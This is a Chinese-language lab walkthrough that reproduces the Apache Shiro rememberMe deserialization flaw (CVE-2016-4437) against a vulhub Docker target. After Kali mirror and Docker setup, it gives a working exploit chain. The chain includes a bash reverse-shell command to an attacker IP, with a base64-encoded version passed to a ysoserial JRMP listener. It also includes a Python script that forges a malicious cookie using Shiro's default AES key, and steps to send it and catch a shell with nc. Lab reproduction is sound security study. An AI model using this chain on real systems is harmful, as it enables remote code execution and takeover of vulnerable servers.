1.环境搭建
一台kali,一台windows
kali换源
# 官方源
# deb http://http.kali.org/kali kali-rolling main non-free contrib
# deb-src http://http.kali.org/kali kali-rolling main non-free contrib
#根据需要自己选一个,中科大的还可以
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
#deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
进入/etc/apt目录
编辑sources.list文件命令如下
sudo vim sources.list
原有的源注释,添加其他源,这里用的是阿里的
随后进行更新
apt-get update 更新索引
apt-get upgrade 更新软件
apt-get dist-upgrade 升级
apt-get clean 删除缓存包
apt-get autoclean 删除未安装的deb包
普通用户记得在命令前接上sudo
kali机安装docker命令如下
sudo apt install docker.io
root用户不用加sudo
安装docker-compose
sudo apt-get install docker-compose
安装靶场vulhub
git clone https://github.com/vulhub/vulhub.git
启动靶场环境
cd /vulhub/shiro/CVE-2016-4437
启动
docker-compose up -d
查看容器
docker ps
访问靶场,ip加端口访问
2.漏洞复现
复现过程
下载工具ysoserial-0.0.6-SNAPSHOT-all.jar
下载地址:https://github.com/Y4er/ysoserial?tab=readme-ov-file
使用以下命令看是否有错误
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
前往下方网址编译反弹命令
https://r0yanx.com/tools/java_exec_encode/
反弹命令
bash -i >& /dev/tcp/攻击ip/9998 0>&1
端口随意尽量别和后续操作的端口冲突,后续操作默认端口为9999
使用下方命令启动ysoserial-0.0.6-SNAPSHOT-all.jar该工具的监听模块并且将编译命令加入,如下
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMzkvOTk5OCAwPiYx}|{base64,-d}|
{bash,-i}"
启动后样式
构建cookie内容然后生成payload
将以下代码放入新建的shiro.py,该文件与该工具ysoserial-0.0.6-SNAPSHOT-all.jar在一起,注意如果工具名修改,代码中的工具名也要修改,代码如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', '工具名', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertextif __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
使用python生成payload,命令如下
python shiro.py 攻击机ip:9999
这里的端口与之前的监听端口一致
生成后的样式(这里生成出来的是后续的payload)
可能会有报错情况,可使用以下命令
pip uninstall crypto pycryptodome(删除已有的pycryptodome)
pip install pycryptodome -i https://pypi.douban.com/simple(添加豆瓣源加速)
针对的报错情形大概如下
开启nc监听
前期完成,访问靶场,登陆,点击记住我
发送到repeater在cookie添加我们之前用python生成的payload记得把JSESSIONID=换成remrmberMe=(payload是上方工具生成自带记得隔开来)
弄好后即可发包
nc没有反应应该是有问题,不过JRMP有回显证明这里利用成功了